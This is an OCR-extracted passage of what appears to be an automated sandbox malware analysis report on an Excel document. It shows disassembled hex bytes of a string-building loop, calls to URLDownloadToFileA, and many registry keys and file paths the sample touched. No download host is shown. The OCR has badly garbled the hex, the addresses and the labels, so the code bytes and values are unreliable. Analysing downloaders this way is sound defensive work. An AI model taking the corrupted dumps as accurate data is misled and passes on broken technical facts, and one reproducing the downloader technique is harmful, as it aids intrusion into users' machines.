7e 4b f8 2a a2 23
fc 2b eb 4b f8 2a
01 3b fc 2b f6 4b
f8 2a 01 3b fb 2b
e8 4b f8 2a a2 23
9 2b fc 4b 8 2a
9 4b f9 2a 9a 4b
f8 2a 01 3b fd 2b
d8 4b 8 2a 4e 3a
1 2b f4 4b 8 2a
4e 3af8 2b f8 4b
8 2a 4e 3a 07 2a
8 4b f8 2a 4e 3a
fa 2b 8 4b 18 2a
52 69 63 68 f9 4b
8 2a 00 00 00 00
00 00 00

01 89 55 ec 8b 45
ec 83 ¢c001 89 45
ec c7 45 ec 00 00
00 00 c6 45 3 1b
8d 4d f3 51 8b 4d
08 e8 70 fe 07 00
8b 55 ec 83 c2 01
8955 ec 8b 45 ec
830018945 ec

A KN KANL* KN+,
K*Rich.K.*.......

success or wait 565 14063828C

sdUbd Bocod Bl Borond Ead VHQ)

c745ec000000 ..U....U.E..

00 c6 45 f3 38 8d
4d f3 51 8b 4d 08
e8 47 fe 07 00 8b
55 ec 83 c2 01 89
55 ec 8b 45 ec 83
c0 01 89 45 ec c7
45 ec 00 00 00 00
c6 45 f3 74 8d 4d
f3518b 4d 08 e8
le fe 07 00 8b 55
ec 83¢2 018955
ec 8b 45 ec 83 cO
01 89 45 ec c7 45
ec 00 00 00 00 c6
45 f3 a2 8d 4d f3

51 8b 4d 08 e8 f5
fd 07 00 8b 55 ec
8320189 55 ec
8b 45 ec 83 c0 01
89 45 ec c7 45 ec
00 00 00 00 c6 45
f3 b5 8d 4d 3 51

8b 4d 08 e8 cc fd

07 00 8b 55 ec 83
€2 0189 55 ec 8b
45 ec 83 c0 01 89
45 ec c7 45 ec 00
00 00 00 c6 45 f3
72 8d 4d f3 51 8b
4d 08 e8 a3 fd 07
00 8b 55 ec 83 c2
01 89 55 ec 8b 45
ec 83 c0

Symbol
URLDownloadToFileA

URLDownloadToFileA
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File Path
C:\Users\user\BASE.BABAA

C:\Users\user\BASE.BABAA

Copyright null 2021

Offset Length
unknown 26729

unknown 120213

Value

ec 00 00 00 00 c6
453 ef 8d 4d 3

518b4d 08 e8 b9 ...
0308008b55ec ..

83¢2018955ec

8b45ec83c001 .U.E...E.E....E...
8945ecc745¢ec ..

Ascii

...... E..M.QM.......
E...E.E...E.M.QM...
..E.

00000000c645 .E..

3 ¢3 8d 4d f3 51
8b 4d 08 e8 90 03
08 00 8b 55 ec 83
€201 89 55 ec 8b
45 ec 83 c0 01 89
45 ec c7 45 ec 00
00 00 00 c6 45 f3
Oc 8d 4d f3 51 8b
4d 08 e8 67 03 08
00 8b 55 ec 83 c2
01 89 55 ec 8b 45
ec 83 ¢c0 01 89 45
ec c7 45 ec 00 00
00 00 c6 45 f3 b6
8d 4d f3 51 8b 4d
08 e8 3e 03 08 00
8b 55 ec 83 c2 01
8955 ec 8b 45 ec
830018945 ec
c7 45 ec 00 00 00
00 c6 45 f3 Oc 8d
4d f3 51 8b 4d 08
€8 15 03 08 00 8b
55 ec 83 c2 01 89
55 ec 8b 45 ec 83
c0 0189 45 ecc7
45 ec 00 00 00 00
c6 45 f3 f3 8d 4d
f3 51 8b 4d 08 e8
ec 02 08 00 8b 55
ec 83¢2 01 89 55
ec 8b 45 ec 83 c0
01 89 45 ec c7 45
ec 00 00 00 00 c6
45 3 fd

f4 18 3f fa 77 10
08 ca 48 48 af 45
fc a9 ae b8 63 5f
7d7e 54 el 72 ae
73 9e 4d 68 9f 30
d8 08 b7 7d e4 f2
cf be 29 b7 0f c9
c0 be c7 16 ee e7
58 84 39 e3 07 05
la 5e 46 65 5¢ 24
73 68 f3 34 al b5
92 20 87 91 b5 57
Oc 7b 3f 91 ab 6b
36 b7 68 46 cf 4d
8a 94 a0 330 74
ea2fcla862fl
b7 d6 17 cc 2f 77
8e e8dc 49 21 82
51 1a 99 88 10 fe
ac 5e 91 e7 f2 34
b7 c3 fe 04 83 91
d7 72 b7 a0 c4 bc
b3 0a 60 a8 7f a9
51 94 7a e5 b5 91
f1 74 fc 1a 85 46
bd 9b 4f 33 fd de
91 4b 96 89 8a 56
36 6d a9 c3 69 f9
1b 3a ad 5e 87 1e
48 ef 4af1 15 Oa
e7 a9 76 77 5e ef
fb be d5 82 2a 74
8f d8 12 2b al 02
d5 8c 2b 9f 88 e6
1b 4316 49 7b 7a
d9 da 1c 7a 07 63
98 bc 1d 68 cf cf
47 8d 23 84 9a 5e
87 6b b3 4a 82 b7
6d df 58 aa Ob 48
5f c0 2a 2f 2b 64
a3 ce 54 24 1c af
3d 7f 27

.?2.wW..HH.E....c_}~T.r.s.M success or wait
h.0. ) X.9... Fe\$

sh.4... ..W.
{?.k6.hF.M...3.t

WALt L+ Cl{zZ
..z.c.h.G#.AkJ.mX.H

A+ TS.=

Completion

success or wait

Source
Count Address

20 14063828C

1 14063828C

Symbol
URLDownloadToFileA

URLDownloadToFileA
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File Read

File Path

C:\Users\user\AppData\Roaming\Microsoft\UProo\CUSTOM.DIC

C:\Users\user\AppData\Roaming\Microsoft\UProo\CUSTOM.DIC

C:\Users\user\Desktop\AEBE000O

Registry Activities

Key Created

Key Path

HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency

Offset Length
unknown 1
unknown 4096
unknown 16384

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EB98F

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EBB73

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EBE7F

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EBEEC

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\Startupltems

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\F2FC7

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\F342A

Key Value Created

Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Place MRU

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2021

Name

Max Display

Max Display

Item 1

Iltem 2

Item 3

Iltem 4

Item 5

Iltem 6

Item 7

Item 8

Item 9

Item 10

Iltem 11

Iltem 12

Type

dword

dword

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data
25

25

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3209467860.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1796052464.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8878498721 .xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3771420242 xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5795694722.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\6516896632.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9713424497 .xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

Completion
success or wait
success or wait

success or wait

Completion

success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Count

P PR R R R R R R O 0 Rk

Count

Source
Address

7TFEEA97EC53
7TFEEA986CAC
7TFEEA9ESACO

Source
Address

7TFEEA9E9SACO
7TFEEA9E9SACO
7TFEEA9E9SACO
7TFEEA9E9SACO
7TFEEA9E9SACO
7TFEEA9E9SACO
7TFEEA9ESACO
7TFEEA9ESACO
7TFEEA9ESACO
7TFEEA9ESACO
7TFEEA9ESACO
7TFEEA9ESACO

Source
Address

7TFEEA9ESACO

7FEEA9ESACO

7FEEA9ESACO

7FEEA9E9SACO

7TFEEA9ESACO

7FEEA9E9ACO

7FEEA9ESACO

7TFEEA9ESACO

7FEEA9E9SACO

7FEEA9ESACO

7FEEA9ESACO

7FEEA9ESACO

7TFEEA9ESACO

7FEEA9ESACO

Symbol
ReadFile
ReadFile

unknown

Symbol

unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Page 39 of 50



Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2021

Name

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[000000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[O00000000]*C:\Users\user\Desk
top\0615447233.xlsx

[FO0000000][T01D1BB6D4B429860]
[O00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[O00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[O00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[O00000000]*C:\Users\user\Desk
top\1387277564.xlsx

[FO0000000][T01D1BB6D4B429860]
[000000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[O00000000]*C:\Users\user\Desk
top\1169381505.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7TFEEA9ESACO

7FEEA9ESACO

7FEEA9E9ACO

7FEEA9ESACO

7FEEA9ESACO

7TFEEA9E9SACO

7FEEA9ESACO

7FEEA9ESACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic EB98F binary 04 00 00 00 7C 07 00 00 3A 00 00 00 43 success or wait 1 7FEEA9E9ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\EB98F 73 00 5C 00 41 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 62 00 65 00 66 00 6F 00 72 00 65
00 2E 00 32 00 2E 00 31 00 34 00 2E 00
31 00 38 00 2E 00 73 00 68 00 65 00 65
00 74 00 2E 00 63 00 73 00 76 00 00 00
00 00 22 00 00 00 43 00 3A 00 5C 00 55
00 73 00 65 00 72 00 73 00 5C 00 41 00
6C 00 62 00 75 00 73 00 5C 00 41 00 70
00 70 00 44 00 61 00 74 00 61 00 5C 00
4C 00 6F 00 63 00 61 00 6C 00 5C 00 54
00 65 00 6D 00 70 00 5C 00 01 00 00 00
01 00 00 00 BO 3F 6C D4 79 07 D7 01 8F
B9 OE 00 8F B9 OE 00 00 00 00 00 B8 02
00 00 OA 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic EBB73 binary 04 00 00 00 7C 07 00 00 3A 00 00 00 43 success or wait 1 7FEEA9E9ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\EBB73 73 00 5C 00 41 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 62 00 65 00 66 00 6F 00 72 00 65
00 2E 00 33 00 2E 00 31 00 33 00 31 00
2E 00 30 00 2E 00 73 00 68 00 65 00 65
00 74 00 2E 00 63 00 73 00 76 00 00 00
00 00 22 00 00 00 43 00 3A 00 5C 00 55
00 73 00 65 00 72 00 73 00 5C 00 41 00
6C 00 62 00 75 00 73 00 5C 00 41 00 70
00 70 00 44 00 61 00 74 00 61 00 5C 00
4C 00 6F 00 63 00 61 00 6C 00 5C 00 54
00 65 00 6D 00 70 00 5C 00 01 00 00 00
01 00 00 00 9B D5 07 D8 79 07 D7 01 73
BB OE 00 73 BB OE 00 00 00 00 00 B8 02
00 00 OA 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00

HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 2 7FEEA9E9ACO unknown
rosoft\Office\14.0\Excel\Place MRU
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 2 7FEEA9E9ACO unknown
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 1 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEA9E9ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\3209467860.xIsx
HKEY_CURRENT_USER\Software\Mic Item 2 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7TFEEA9E9ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\1796052464.xIsx
HKEY_CURRENT_USER\Software\Mic Item 3 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7TFEEA9E9ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\8878498721 .xIsx
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2021

Name

Iltem 4

Item 5

Iltem 6

Iltem 7

Item 8

Item 9

Item 10

Item 11

Item 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3771420242.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5795694722.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\6516896632.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9713424497 .xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7FEEA9ESACO

7FEEA9ESACO

7FEEA9E9ACO

7FEEA9ESACO

7FEEA9ESACO

7TFEEA9E9SACO

7FEEA9ESACO

7FEEA9ESACO

7FEEA9ESACO

7FEEA9ESACO

7FEEA9ESACO

7TFEEA9ESACO

7FEEA9E9ACO

7FEEA9E9ACO

7FEEA9ESACO

7TFEEA9ESACO

7FEEA9E9SACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Page 43 of 50



Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Resil
iency\DocumentRecovery\EBE7F

Copyright null 2021

Name

EBE7F

Type

binary

Data

04 00 00 00 7C 07 00 00 30 00 00 00 43 success or wait

00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 78 00 6C 00 73 00 6D 00 2E 00 73
00 68 00 65 00 65 00 74 00 2E 00 63 00
73 00 76 00 00 00 00 00 22 00 00 00 43
00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 01 00 00 00 01 00 00 00 50 E2 C3
D8 79 07 D7 01 7F BE OE 00 7F BE OE
00 00 00 00 00 B8 02 00 00 66 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00

Completion

Source

Count Address Symbol

1

7TFEEA9E9ACO unknown
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Resil
iency\DocumentRecovery\EBEEC

